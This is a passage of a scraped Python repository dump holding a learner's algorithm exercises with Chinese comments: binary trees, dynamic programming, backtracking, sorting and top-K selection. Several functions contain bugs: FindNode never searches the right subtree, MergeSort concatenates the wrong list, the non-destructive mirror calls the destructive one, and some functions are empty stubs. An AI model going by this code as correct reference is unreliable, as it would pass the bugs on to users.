myQueue.append(node.rchild)\n NextLevelNodeNum += 1\n\n if CurrentLevelNodeNum == 0:\n Depth += 1\n CurrentLevelNodeNum = NextLevelNodeNum\n NextLevelNodeNum = 0\n\n return Depth\n\n def NodeNumLevelK_recur(self, root, k):\n '''递归求二叉树第k层的结点数'''\n if root == None or k < 0:\n return 0\n if k == 1:\n return 1\n\n return self.NodeNumLevelK_recur(root.lchild, k-1) + self.NodeNumLevelK_recur(root.rchild, k-1)\n\n def TreeLeafNum_recur(self, root):\n '''递归求二叉树中叶子结点的个数'''\n if root == None:\n return 0\n\n if root.lchild == None and root.rchild == None:\n return 1\n\n return self.TreeLeafNum_recur(root.lchild) + self.TreeLeafNum_recur(root.rchild)\n\n def TreeLeafNum_queue(self, root):\n '''非递归求二叉树的叶子节点数'''\n if root == None:\n return 0\n node = root\n myQueue = []\n myQueue.append(node)\n NumLeaf = 0\n while myQueue:\n node = myQueue.pop(0)\n if node.lchild == None and node.rchild == None:\n NumLeaf += 1\n if node.lchild != None:\n myQueue.append(node.lchild)\n if node.rchild !=None:\n myQueue.append(node.rchild)\n\n return NumLeaf\n\n def JudgeSameTree_recur(self, root1, root2):\n '''递归求两个二叉树是否相同'''\n if root1 == None and root2 == None:\n return True\n if root1 == None or root2 == None:\n return False\n if root1.elem != root2.elem:\n return False\n\n return self.JudgeSameTree_recur(root1.lchild, root2.lchild) and self.JudgeSameTree_recur(root1.rchild, root2.rchild)\n\n def JudgeSameTree_stack(self, root1, root2):\n '''递归求两个二叉树是否相同'''\n if root1 == None and root2 == None:\n return True\n if root1 == None or root2 == None:\n return False\n myStack1 = []\n myStack2 = []\n myStack1.append(root1)\n myStack2.append(root2)\n\n while myStack1 and myStack2:\n node1 = myStack1.pop()\n node2 = myStack2.pop()\n if node1 == None and node2 == None:\n continue\n elif node1 != None and node2 != None and node1.elem == node2.elem:\n myStack1.append(node1.lchild)\n myStack1.append(node1.rchild)\n myStack2.append(node2.lchild)\n myStack2.append(node2.rchild)\n else:\n return False\n return True\n\n def JudgeAVLTree_recur(self, root):\n '''递归判断二叉树是否是平衡二叉树, 其中调用求深度函数'''\n if root == None:\n return True\n if abs(self.TreeDepth_recur(root.lchild) - self.TreeDepth_recur(root.rchild)) > 1:\n return False\n return self.JudgeAVLTree_recur(root.lchild) and self.JudgeAVLTree_recur(root.rchild)\n\n def MirrorTree_recur(self, root):\n '''递归求二叉树镜像, 破坏原来的树'''\n if root == None:\n return root\n\n lchild = self.MirrorTree_recur(root.rchild)\n rchild = self.MirrorTree_recur(root.lchild)\n root.lchild = lchild\n root.rchild = rchild\n\n return root\n\n def MirrorTree_recur_save(self, root):\n '''递归求二叉树镜像, 不破坏原来的树'''\n if root == None:\n return root\n\n node = Node()\n node.elem = root.elem\n node.lchild = self.MirrorTree_recur(root.rchild)\n node.rchild = self.MirrorTree_recur(root.lchild)\n\n return node\n\n def MirrorTree_stack(self, root):\n '''递归求二叉树镜像, 破坏原来的树'''\n if root == None:\n return root\n myStack = []\n myStack.append(root)\n while myStack:\n node = myStack.pop()\n node.lchild, node.rchild = node.rchild, node.lchild\n if node.rchild != None:\n myStack.append(node.rchild)\n if node.lchild != None:\n myStack.append(node.lchild)\n return root\n\n def MirrorTree_stack_save(self, root):\n '''递归求二叉树镜像, 不破坏原来的树'''\n if root == None:\n return root\n newroot = Node(root.elem)\n myStack = []\n newmyStack = []\n myStack.append(root)\n newmyStack.append(newroot)\n\n while myStack:\n node = myStack.pop()\n newNode = newmyStack.pop()\n if node.rchild != None:\n myStack.append(node.rchild)\n newNode.lchild = Node(node.rchild.elem)\n newmyStack.append(newNode.lchild)\n if node.lchild != None:\n myStack.append(node.lchild)\n newNode.rchild = Node(node.lchild.elem)\n newmyStack.append(newNode.rchild)\n\n return newroot\n\n def JudgeMirrorTree(self, root1, root2):\n '''递归判断两个树是否互为镜像'''\n if root1 == None and root2 == None:\n return True\n elif root1== None or root2 == None:\n return False\n if root1.elem != root2.elem:\n return False\n\n return self.JudgeMirrorTree(root1.lchild, root2.rchild) and self.JudgeMirrorTree(root1.rchild, root2.lchild)\n\n def FindNode(self, root, node):\n '''判断一个结点是否在树里'''\n if root ==None or node == None:\n return False\n if root == node:\n return True\n find = self.FindNode(root.lchild, node)\n if not find:\n return self.FindNode(root.lchild, node)\n return False\n\n def LastCommonParentNode(self, root, node1, node2):\n pass\n\n\nif __name__ == '__main__':\n\n BinaryTree = Tree()\n NodeList = [i for i in range(10)]\n for i in NodeList:\n BinaryTree.addNode(i)\n\n print('队列实现层次遍历')\n BinaryTree.level_queue(BinaryTree.root)\n print('*' * 40)\n\n print('递归先序遍历')\n BinaryTree.front_recur(BinaryTree.root)\n print('*' * 40)\n\n print('堆栈先序遍历')\n BinaryTree.front_stack(BinaryTree.root)\n print('*' * 40)\n\n print('递归中序遍历')\n BinaryTree.middle_recur(BinaryTree.root)\n print('*' * 40)\n\n print('堆栈中序遍历')\n BinaryTree.middle_stack(BinaryTree.root)\n print('*' * 40)\n\n print('递归后序遍历')\n BinaryTree.later_recur(BinaryTree.root)\n print('*' * 40)\n\n print('堆栈后序遍历')\n BinaryTree.later_stack(BinaryTree.root)\n print('*' * 40)\n\n print('递归求结点的个数')\n print(BinaryTree.TreeNodeNum_recur(BinaryTree.root))\n print('*' * 40)\n\n print('非递归求结点的个数,队列层次遍历思想')\n print(BinaryTree.TreeNodeNum_queue(BinaryTree.root))\n print('*' * 40)\n\n print('递归求二叉树的深度')\n print(BinaryTree.TreeDepth_recur(BinaryTree.root))\n print('*' * 40)\n\n print('非递归求二叉树的深度,队列层次遍历思想')\n print(BinaryTree.TreeDepth_queue(BinaryTree.root))\n print('*' * 40)\n\n print('递归求叶子结点的个数')\n print(BinaryTree.TreeLeafNum_recur(BinaryTree.root))\n print('*' * 40)\n\n print('非递归求叶子结点的个数,队列层次遍历思想')\n print(BinaryTree.TreeLeafNum_queue(BinaryTree.root))\n print('*' * 40)\n\n print('递归判断两个树是否相同')\n print(BinaryTree.JudgeSameTree_recur(BinaryTree.root, BinaryTree.root))\n print('*' * 40)\n\n print('非递归判断两个树是否相同,双堆栈')\n print(BinaryTree.JudgeSameTree_stack(BinaryTree.root, BinaryTree.root))\n print('*' * 40)\n\n print('递归判断二叉树是否是平衡二叉树,调用了求深度函数')\n print(BinaryTree.JudgeAVLTree_recur(BinaryTree.root))\n print('*' * 40)\n\n print('递归求二叉树的镜像,不破坏原来的树')\n node = BinaryTree.MirrorTree_recur_save(BinaryTree.root)\n print(BinaryTree.front_recur(node))\n print(BinaryTree.front_recur(BinaryTree.root))\n print('*' * 40)\n\n print('非递归求二叉树的镜像,不破坏原来的树')\n node = BinaryTree.MirrorTree_stack_save(BinaryTree.root)\n print(BinaryTree.front_recur(node))\n print(BinaryTree.front_recur(BinaryTree.root))\n print('*' * 40)\n\n print('递归求二叉树的镜像,破坏原来的树')\n node = BinaryTree.MirrorTree_recur(BinaryTree.root)\n print(BinaryTree.front_recur(node))\n print(BinaryTree.front_recur(BinaryTree.root))\n print('*' * 40)\n\n print('非递归求二叉树的镜像,破坏原来的树')\n node = BinaryTree.MirrorTree_stack(BinaryTree.root)\n print(BinaryTree.front_recur(node))\n print(BinaryTree.front_recur(BinaryTree.root))\n print('*' * 40)\n\n print('判断一个结点是否在树里')\n print('8:{}'.format(BinaryTree.FindNode(BinaryTree.root, Node(8))))\n print('11:{}'.format(BinaryTree.FindNode(BinaryTree.root, Node(11))))\n print('*' * 40)\n\n" }, { "alpha_fraction": 0.6620689630508423, "alphanum_fraction": 0.6620689630508423, "avg_line_length": 11.166666984558105, "blob_id": "91cf2eba79eaef951c99e4cd6f707c7feb13f92c", "content_id": "7a7ff5732fca7b229c7fabcd63ca58137638f8f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "no_license", "max_line_length": 56, "num_lines": 12, "path": "/MinMaxSegment.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 输入一个一维N正整数数组和M,即把数组切分成M段,使得这M个段里每个段的和的最大值最小,输出这个最小的最大值\n\ndef MinMaxSegment(arr, m):\n\n if len(arr) <= m:\n return max(arr)\n\n\n\n\n\n pass" }, { "alpha_fraction": 0.4561057984828949, "alphanum_fraction": 0.5005627274513245, "avg_line_length": 21.935483932495117, "blob_id": "2649a6b2b68d6b8bc5125c2fa581f322ff4b6342", "content_id": "81a4cfd0d959109d2158e6e72f2609b46b122fdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4444, "license_type": "no_license", "max_line_length": 85, "num_lines": 155, "path": "/Fibonacci.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# https://blog.csdn.net/u013309870/article/details/75193592\n\n# 什么是时候要用动态规划:问题具有最优子结构和重叠子问题的时候\n# 最优子结构:一个问题的解结构包含其子问题的最优解,运动动态规划时,需要刻画最优子结构\n# 重叠子问题:如果使用递归算法解决问题时候会反复的求解相同的子问题,不停的调用函数,而不是生成新的子问题。如果递归算法反复求解相同的子问题,\n# 就称为具有重叠子问题(overlapping subproblems)性质。DP使用数组保存子问题的解,可直接查表而不调用递归函数。\n\n# 斐波那契数列, fib(0) = 0, fib(1) = 1, fib(2) = 1, ..., fib(n) = fib(n-1)+fin(n-2)\ndef fibRecur(n):\n '''递归'''\n if n <= 0:\n return 0\n if n == 1:\n return 1\n else:\n return fibRecur(n-1) + fibRecur(n-2)\n\ndef DP1_fib(n):\n '''动态规划1:自顶向下的备忘录法,即存储一个初始化为-1的n+1的数组,每次计算填充,防止递归造成的多次重复计算'''\n if n <=0:\n return 0\n Memo = [-1]*(n+1)\n\n def fib(n, Memo):\n if Memo[n] != -1:\n return Memo[n]\n if n <= 2:\n return 1\n else:\n Memo[n] = fib(n-1, Memo) + fib(n-2, Memo)\n return Memo[n]\n\n return fib(n, Memo)\n\n\ndef DP2_fib(n):\n '''动态规划2:自底向上,备忘录法还是用到了递归,最终也是要计算出fib(1), fib(2)...何不先计算出fib(1), fib(2)...呢?\n 也即动态规划的核心,x先计算子问题再由子问题计算父问题'''\n if n <=0:\n return 0\n Memo = [-1]*(n+1)\n Memo[0] = 0\n Memo[1] = 1\n for i in range(2, n+1):\n Memo[i] = Memo[i-1] + Memo[i-2]\n\n return Memo[n]\n\ndef DP3_fib(n):\n '''动态规划2:自底向上,备忘录法还是用到了递归,最终也是要计算出fib(1), fib(2)...何不先计算出fib(1), fib(2)...呢?\n 也即动态规划的核心,x先计算子问题再由子问题计算父问题,为了节省空间,如下方法:'''\n if n <=0:\n return 0\n if n <=2:\n return 1\n a = 1\n b = 1\n c = -1\n for i in range(3, n+1):\n c = a + b\n b, a = c, b\n\n return c\n\ndef cutRecur(price, n):\n '''递归切割,收益q = max_{i=1~n}(price_i, cut_{n-i})'''\n if n <=0:\n return 0\n q = 0\n for i in range(1, n+1):\n q = max(q, price[i] + cutRecur(price,n-i))\n\n return q\n\n\ndef DP1_cut(price, n):\n '''自顶向下,备忘录法'''\n if n <=0:\n return 0\n Memo = [-1]*(n+1)\n\n def cut(price, n):\n q = 0\n if Memo[n] >=0:\n return Memo[n]\n if n ==0:\n return 0\n else:\n for i in range(1,n+1):\n q = max(q, price[i] + cut(price,n-i))\n Memo[n] = q\n\n return Memo[n]\n\n return cut(price, n)\n\n\ndef DP2_cut(price, n):\n '''自底向上,涉及到最优子结构问题,一个问题取得最优解的时候,它的子问题也一定取得最优解'''\n Memo = [-1] * (n+1)\n if n <= 0:\n return 0\n\n for i in range(1, n+1):\n q = 0\n for j in range(1, i+1):\n q = max(q, price[j]+DP2_cut(price, i-j))\n Memo[i] = q\n\n return Memo[n]\n\ndef DP_CrossBridge(arr):\n if arr == None:\n return 0\n\n opt = [-1]*len(arr)\n opt[0] = arr[0]\n opt[1] = max(arr[:2])\n for i in range(2, len(arr)):\n opt[i] = min(opt[i-1]+arr[0]+arr[i], opt[i-2] + arr[0] + arr[i] + 2*arr[1])\n\n return opt[len(arr)-1]\n\n\n\n\nif __name__ == '__main__':\n\n n = 10\n price = [0, 1, 5, 8, 9, 10, 17, 17, 20, 24, 30]\n CrossBridge = [1, 2, 5, 10]\n ls = [2, 6, 4, 10]\n\n for i in range(n):\n print('fibRecur:fib({}) = {}'.format(i, fibRecur(i)))\n\n for i in range(n):\n print('DP1_fib:fib({}) = {}'.format(i, DP1_fib(i)))\n\n for i in range(n):\n print('DP2_fib:fib({}) = {}'.format(i, DP2_fib(i)))\n\n for i in range(n):\n print('DP3_fib:fib({}) = {}'.format(i, DP3_fib(i)))\n\n for i in range(n):\n print('cutRecur:cut({}) = {}'.format(i, cutRecur(price,i)))\n\n for i in range(n):\n print('DP1_cut:cut({}) = {}'.format(i, DP1_cut(price,i)))\n\n for i in range(n):\n print('DP2_cut:cut({}) = {}'.format(i, DP2_cut(price,i)))\n\n print('DP_CrossBridge({}) = {}'.format(CrossBridge, DP_CrossBridge(CrossBridge)))" }, { "alpha_fraction": 0.4386129379272461, "alphanum_fraction": 0.47797563672065735, "avg_line_length": 19.037734985351562, "blob_id": "a71ed70c14e2f5e5214415520b145ad530fc8394", "content_id": "9c1009a47dca4ad4a7afd4e579457d07a50aa47f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1441, "license_type": "no_license", "max_line_length": 55, "num_lines": 53, "path": "/WorkCost.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# @Time : 2019/11/10 15:53\n# @Author : Liu Kunchi\n# @FileName: WorkCost.py\n# @Software: PyCharm\n\n'''\n问题描述:\n工作分配问题。设有n件工作需要分配给n个人去完成。将工作i分配给第j个人完成所需要的费用为c_ij。\n试设计一个算法,为每一个人分配一件不同的工作,并使总费用达到小。\n样例:\n给定3件工作,i号工人完成j号工作的费用如下:\n10 2 3\n2 3 4\n3 4 5\n'''\n\ndef work(k, cl, fl, x, c, n):\n '''\n :param k: 已分配完成第k件工作\n :param cl: 当前分配费用\n :param fl: 当前已知最小费用\n :param x: x[j]表示第j个工作是否已分配\n :param c: c[i][j]将工作i分配给第j个人完成所需要的费用为c_ij\n :param n: 工作件数or人个数\n :return: 最小分配费用\n '''\n if k > n - 1 and cl < fl:\n fl = cl\n return fl\n\n if cl < fl:\n for j in range(len(c[k])):\n #print(\"j\"+str(j))\n if x[j] == 0:\n x[j] = 1\n fl = work(k+1, cl+c[k][j], fl, x, c, n)\n x[j] = 0\n return fl\n\ndef main():\n c = [[10, 2, 3],\n [2, 3, 4],\n [3, 4, 5]]\n cl = 0\n n = len(c)\n x = [0] * n\n fl = float(\"inf\") # 当前最小费用,初始化为无穷大\n fl = work(0, cl, fl, x, c, n)\n print(\"最小费用为:{}\".format(fl))\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n" }, { "alpha_fraction": 0.33414435386657715, "alphanum_fraction": 0.40713706612586975, "avg_line_length": 24.183673858642578, "blob_id": "cb9c15c225e586f9dd1dc47284e7b8f938ab3d8c", "content_id": "ec1db41ffd91ca15686c4d2d96cc8e711393a6a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1249, "license_type": "no_license", "max_line_length": 55, "num_lines": 49, "path": "/TeamMatch.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "def judge(n, k, d1, d2):\n if n % 3 != 0:\n return False\n # 四种情况\n # t1+t2+t3=k\n # t1-t2=-+d1\n # t3-t2=-+d2\n d1, d2 = min([d1, d2]), max([d1, d2])\n # 比过分数\n case1 = k - (d1 + d2) # t1>t2<t3\n case2 = k - (d1 + 2 * d2) # t1>t2>t3\n case3 = k - (2 * d1 + d2) # t1<t2<t3\n case4 = k - (2 * d2 - d1) # t1<t2>t3\n\n if case1 >= 0 and case1 % 3 == 0:\n need = 2 * d2 - d1\n left = n - k\n if left >= need and (left - need) % 3 == 0:\n return True\n\n if case2 >= 0 and case2 % 3 == 0:\n need = 2 * d1 + d2\n left = n - k\n if left >= need and (left - need) % 3 == 0:\n return True\n\n if case3 >= 0 and case3 % 3 == 0:\n need = 2 * d2 + d1\n left = n - k\n if left >= need and (left - need) % 3 == 0:\n return True\n\n if case4 >= 0 and case4 % 3 == 0:\n need = d2 + d1\n left = n - k\n if left >= need and (left - need) % 3 == 0:\n return True\n\n return False\n\n\nif __name__ == '__main__':\n t = int(input())\n for i in range(t):\n n, k, d1, d2 = map(int, input().split(' ', -1))\n if judge(n, k, d1, d2):\n print('yes')\n else:\n print('no')" }, { "alpha_fraction": 0.44117647409439087, "alphanum_fraction": 0.45588234066963196, "avg_line_length": 10.333333015441895, "blob_id": "f9b5ecef5e4921412cf9ac3a61f5a1c297318aa8", "content_id": "f98bac1dd6a9264727b9673dc6d265b7f85554e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 68, "license_type": "no_license", "max_line_length": 19, "num_lines": 6, "path": "/MyTest.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "\na = []\nb = 2\na.append(b)\nc = a.pop()\nif c is b:\n print('a is b')" }, { "alpha_fraction": 0.44200626015663147, "alphanum_fraction": 0.5, "avg_line_length": 26.60869598388672, "blob_id": "3d145bb37a6751a7bb1b74779297298e60ebe6dc", "content_id": "63bbdf4835a1dec2199932f6b01921b589b922eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 638, "license_type": "no_license", "max_line_length": 95, "num_lines": 23, "path": "/BacktoText.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# https://www.nowcoder.com/questionTerminal/0147cbd790724bc9ae0b779aaf7c5b50?commentTags=Python\n# 4\n# 1 1 1 3\n\nif __name__ == '__main__':\n count = 0\n head = 0\n length = int(input())\n tail = length - 1\n array = list(map(int, input().split()))\n while head < tail:\n if array[head] < array[tail]:\n array[head+1] = array[head] + array[head+1]\n head += 1\n count += 1\n elif array[head] > array[tail]:\n array[tail-1] = array[tail] + array[tail-1]\n tail -= 1\n count += 1\n else:\n head += 1\n tail -= 1\n print(count)\n\n\n\n" }, { "alpha_fraction": 0.48712870478630066, "alphanum_fraction": 0.5257425904273987, "avg_line_length": 18.823530197143555, "blob_id": "d7f665ab3ed482786029aa5a02b80644e8e9f0be", "content_id": "f8bbe9cef3fe01a05cf1c7de180244bc19a4f9b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1418, "license_type": "no_license", "max_line_length": 71, "num_lines": 51, "path": "/OptimalSchedule.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# @Time : 2019/11/10 17:18\n# @Author : Liu Kunchi\n# @FileName: OptimalSchedule.py\n# @Software: PyCharm\n\n'''\n问题描述:\n最佳调度问题。假设有n个任务要由k个可并行工作的机器来完成。完成任务i需要的时间为t_i。\n试设计一个算法找出完成这n个任务的最佳调度,使得完成全部任务的结束时间早。\n样例:\nn = 7\nk = 3\nt_i = 2 14 4 16 6 5 3\n'''\n\ndef schedule(t, m, n, k, cl, fl):\n '''\n :param t: 完成任务i需要的时间为t[i]\n :param m: 为第m个任务分配机器\n :param n: 总任务数\n :param k: k个可并行的机器\n :param cl: list,存储k个机器完成已分配任务所需的时间\n :param fl: 当前最佳调度所需时间\n :return: 最佳调度时间\n '''\n\n # 如果任务分配完了\n if m == n:\n return max(cl)\n\n for i in range(k):\n if cl[i] + t[m] > fl: # 如果为当前机器i分配任务m之后,cl[i]>当前最佳调度时间fl,则剪枝。\n continue\n cl[i] += t[m]\n fl = schedule(t, m+1, n, k, cl, fl) # 继续为下一个任务m+1分配机器\n cl[i] -= t[m] # 回溯\n\n return fl\n\n\ndef main():\n t = [2, 14, 4, 16, 6, 5, 3]\n n = len(t)\n k = 3\n fl = float(\"inf\")\n cl = [0] * 3\n print(\"最佳调度时间为:{}\".format(schedule(t, 0, n, k, cl, fl)))\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.5028921365737915, "alphanum_fraction": 0.5199047327041626, "avg_line_length": 24.560869216918945, "blob_id": "ce1007bd67c3df2949421ae1f3959194022a9763", "content_id": "b901bcf7095a150e49f0a5568983140854546ca0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6780, "license_type": "no_license", "max_line_length": 73, "num_lines": 230, "path": "/Rank.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 实现十大排序算法\n# 面试常考的是快速排序、归并排序、堆排序和计数排序(桶排序)\n# 冒泡排序、选择排序、快速排序和堆排序可以在未结束时找到第k大元素\n# 用到了桶.....\n# 基数排序:根据键值的每位数字来分配桶\n# 计数排序:每个桶只存储单一键值\n# 桶排序:每个桶存储一定范围的数值\n\ndef TestArg(x, y, *args, **kargs):\n print(x, y, args, kargs)\n\n# 选择排序\ndef SelectSort(arr):\n '''遍历length次,每次找出后面的最小的放在最前面'''\n length = len(arr)\n for i in range(length - 1):\n minIndex = i\n for j in range(i + 1, length):\n if arr[minIndex] > arr[j]:\n minIndex = j\n arr[i], arr[minIndex] = arr[minIndex], arr[i]\n\n return arr\n\n# 插入排序\ndef InertSort(arr):\n '''比如打牌,将有序部分之后的数,依次插入到有序的部分中'''\n length = len(arr)\n for i in range(length - 1):\n curElem, preIndex = arr[i + 1], i\n while preIndex >= 0 and arr[preIndex] > curElem:\n arr[preIndex + 1] = arr[preIndex]\n preIndex -= 1\n arr[preIndex + 1] = curElem\n\n return arr\n\n# 冒泡排序\ndef BubbleSort(arr):\n '''依次比较每一对,大的后移,第i趟会将第i大的数放在倒数第i个位置,对于最优时间O(n),可添加标志位'''\n length = len(arr)\n for i in range(length - 1):\n flag = False\n for j in range(length - i - 1):\n if arr[j] > arr[j + 1]:\n flag = True\n arr[j + 1], arr[j] = arr[j], arr[j + 1]\n\n if flag == False:\n return arr\n\n return arr\n\n# 希尔排序\ndef ShellSort(arr):\n '''步长依次为step = len(arr)/2,直到为1;第i,i+step,...进行排序'''\n length = len(arr)\n step = length // 2\n while step > 0:\n for i in range(0, length): # 并不是按分组思想依次处理,而是遍历所有,到哪一个便把它插入到合适的位置\n\n min_temp = arr[i]\n j = i\n\n while j >= step and arr[j - step] > min_temp:\n arr[j] = arr[j - step]\n j -= step\n arr[j] = min_temp\n\n print(arr)\n\n step //= 2\n\n return arr\n\n\n# 归并排序\ndef MergeSort(arr):\n # 归并\n def mergeSort(arr1, arr2):\n arr = []\n i = 0\n j = 0\n while i < len(arr1) and j < len(arr2):\n if arr1[i] < arr2[j]:\n arr.append(arr1[i])\n i += 1\n else:\n arr.append(arr2[j])\n j += 1\n arr = arr + arr1[i:] + arr[j:]\n return arr\n\n # 递归\n if len(arr) <= 1:\n return arr\n length = len(arr)\n arr1, arr2 = MergeSort(arr[:length//2]), MergeSort(arr[length//2:])\n return mergeSort(arr1,arr2)\n\n\n# 快速排序\ndef QuickSort1(arr): # 分治思想\n if len(arr) <= 1:\n return arr\n pivot = arr[0]\n left = [i for i in arr[1:] if i <= arr[0]]\n right = [i for i in arr[1:] if i > arr[0]]\n\n return QuickSort1(left) + [pivot] + QuickSort1(right)\n\ndef QuickSort2(arr, left, right): # 分治思想\n # 分区\n def partition(arr, left, right):\n pivot = arr[left]\n while left < right:\n while left < right and arr[right] > pivot:\n right -= 1\n arr[left] = arr[right]\n while left < right and arr[left] < pivot:\n left += 1\n arr[right] = arr[left]\n arr[left] = pivot\n print(left, right, pivot)\n return left\n # 递归\n if left < right:\n pivotIndex = partition(arr, left, right)\n QuickSort2(arr, left, pivotIndex - 1)\n QuickSort2(arr, pivotIndex + 1, right)\n return arr\n\n# 堆排序\ndef HeapSort(arr):\n\n # 调整堆\n def adjustHeap(arr, i, size):\n lchild = 2 * i + 1 # 从0开始\n rchild = 2 * i + 2\n largest = i\n if lchild < size and arr[lchild] > arr[largest]:\n largest = lchild\n if rchild < size and arr[rchild] > arr[largest]:\n largest = rchild\n\n if largest != i:\n arr[i], arr[largest] = arr[largest], arr[i]\n # largest 是最小值的索引,此时要递归调整\n adjustHeap(arr, largest, size)\n\n # 建立大根堆\n def buildHeap(arr, size):\n for i in range(len(arr)//2)[::-1]: # %是取余\n adjustHeap(arr, i, size)\n print(arr)\n\n # 堆排序\n buildHeap(arr, len(arr))\n for i in range(len(arr))[::-1]:\n arr[0], arr[i] = arr[i], arr[0]\n adjustHeap(arr, 0, i)\n return arr\n\n# 计数排序\ndef CountSort(arr):\n bucket = [0] * (max(arr) + 1)\n for elem in arr:\n bucket[elem] += 1\n i = 0\n for j in range(len(arr)):\n while bucket[j] > 0:\n arr[i] = j\n bucket[j] -= 1\n i += 1\n return arr\n\n# 桶排序\ndef BucketSort(arr, defaultBuckets=3):\n maxElem, minElem = max(arr), min(arr)\n bucketSize = defaultBuckets\n bucketCounts = (maxElem - minElem) // bucketSize + 1\n print(bucketCounts)\n buckets = [[] for row in range(bucketCounts)] # 二维桶\n\n # 利用函数映射将数据放到对应的桶中\n for elem in arr:\n buckets[(elem - minElem) // bucketSize].append(elem)\n print(buckets)\n\n arr.clear()\n for bucket in buckets:\n InertSort(bucket)\n arr.extend(bucket) # list.extend([a,b])向已存在的列表添加[a,b]里的内容\n\n return arr\n\n# 基数排序\ndef RadixSort(arr):\n mod = 10\n div = 1\n mostBit = len(str(max(arr)))\n buckets = [[] for row in range(mod)]\n while mostBit:\n for elem in arr:\n buckets[elem // div % mod].append(elem)\n i = 0\n for bucket in buckets:\n while bucket:\n arr[i] = bucket.pop(0)\n i += 1\n\n div *= 10\n mostBit -= 1\n\n return arr\n\n\nif __name__ == '__main__':\n array = [8, 5, 2, 3, 1, 0, 9, 4, 6, 10, 7]\n # print('选择排序输出:{}'.format(SelectSort(array)))\n # print('插入排序输出:{}'.format(InertSort(array)))\n # print('冒泡排序输出:{}'.format(BubbleSort(array)))\n # print('希尔排序输出:{}'.format(ShellSort(array)))\n #print('归并排序输出:{}'.format(MergeSort(array)))\n #print('快速排序输出:{}'.format(QuickSort1(array)))\n print('快速排序输出:{}'.format(QuickSort2(array, 0, len(array) - 1)))\n #print('堆排序输出:{}'.format(HeapSort(array)))\n #print('计数排序输出:{}'.format(CountSort(array)))\n #print('桶排序输出:{}'.format(BucketSort(array)))\n #print('基数排序输出:{}'.format(RadixSort(array)))" }, { "alpha_fraction": 0.5090206265449524, "alphanum_fraction": 0.530605673789978, "avg_line_length": 27.740739822387695, "blob_id": "5b86079e381522cb891c488aa2fb79195757fed5", "content_id": "53ba7d63b1031e6b85b8ea275457bcbbeb6c4c22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3636, "license_type": "no_license", "max_line_length": 70, "num_lines": 108, "path": "/TopK.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 问题描述:从arr[1, n]这n个数中,找出最大的k个数,这就是经典的TopK问题。\n# 栗子:从arr[1, 12]={5,3,7,1,8,2,9,4,7,2,6,6} 这n=12个数中,找出最大的k=5个。\n\n# 排序好之后,选择前k大的 n*logn\ndef QuickSort(arr, low, high):\n\n # 分区\n def partition(arr, low, high):\n pivot = arr[low]\n while low < high:\n while low < high and pivot <= arr[high]:\n high -= 1\n arr[low] = arr[high]\n while low < high and pivot >= arr[low]:\n low += 1\n arr [high] = arr[low]\n arr[low] = pivot\n return low\n\n # 递归\n if low < high:\n pivotIndex = partition(arr, low, high)\n QuickSort(arr, low, pivotIndex -1)\n QuickSort(arr, pivotIndex + 1, high)\n return arr\n\n# 冒泡 时间复杂度k*n\ndef BubbleSortTopK(arr, k):\n\n for i in range(k):\n for j in range(len(arr) - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n\n return arr[-k:]\n\n# 堆排序 时间复杂度nlog(k), logk是堆的高度\ndef HeapSortTopK(arr, k):\n # 前k个元素维护成一个小根堆,并调整,扫描后面的n-k个,保持前k个为最小\n def adjustHeap(arr, low, high):\n lchild = 2 * low + 1\n rchild = 2 * low + 2\n smallest = low\n if lchild < high and arr[lchild] < arr[smallest]:\n smallest = lchild\n\n if rchild < high and arr[rchild] < arr[smallest]:\n smallest = rchild\n\n if smallest != low:\n arr[low], arr[smallest] = arr[smallest], arr[low]\n # smallest 是最大值得索引\n adjustHeap(arr, smallest, high)\n\n def buildHeap(arr, k):\n for i in range(len(arr)//2)[::-1]:\n adjustHeap(arr, i, k)\n\n buildHeap(arr, k)\n for i in range(k, len(arr)):\n if arr[i] > arr[0]:\n arr[i], arr[0] = arr[0], arr[i]\n adjustHeap(arr, 0, k-1)\n print(arr[:k])\n return arr\n\n# 分治法,大问题分解为小问题,小问题都要递归各个分支,例如:快速排序\n# 减治法,大问题分解为小问题,小问题只要递归一个分支,例如:二分查找,随机选择。这里用减治法,时间复杂度O(n)\n# i = partition(arr, 1, n);\n# 如果i大于k,则说明arr[i]左边的元素都大于k,于是只递归arr[1, i-1]里第k大的元素即可;\n# 如果i小于k,则说明说明第k大的元素在arr[i]的右边,于是只递归arr[i+1, n]里第k-i大的元素即可;\n\ndef RandomSelect(arr, low, high, k):\n def partition(arr, low, high):\n pivot = arr[low]\n while low < high:\n while low < high and arr[high] < pivot:\n high -= 1\n arr[low] = arr[high]\n while low < high and arr[low] > pivot:\n low += 1\n arr[high] = arr[low]\n arr[low] = pivot\n #print(arr)\n return low\n\n pivotIndex = partition(arr, low, high)\n if pivotIndex == k:\n topK = [i for i in arr if i > arr[k]]\n print(topK)\n return arr[k]\n temp = pivotIndex - low\n #print(temp)\n if temp >= k:\n 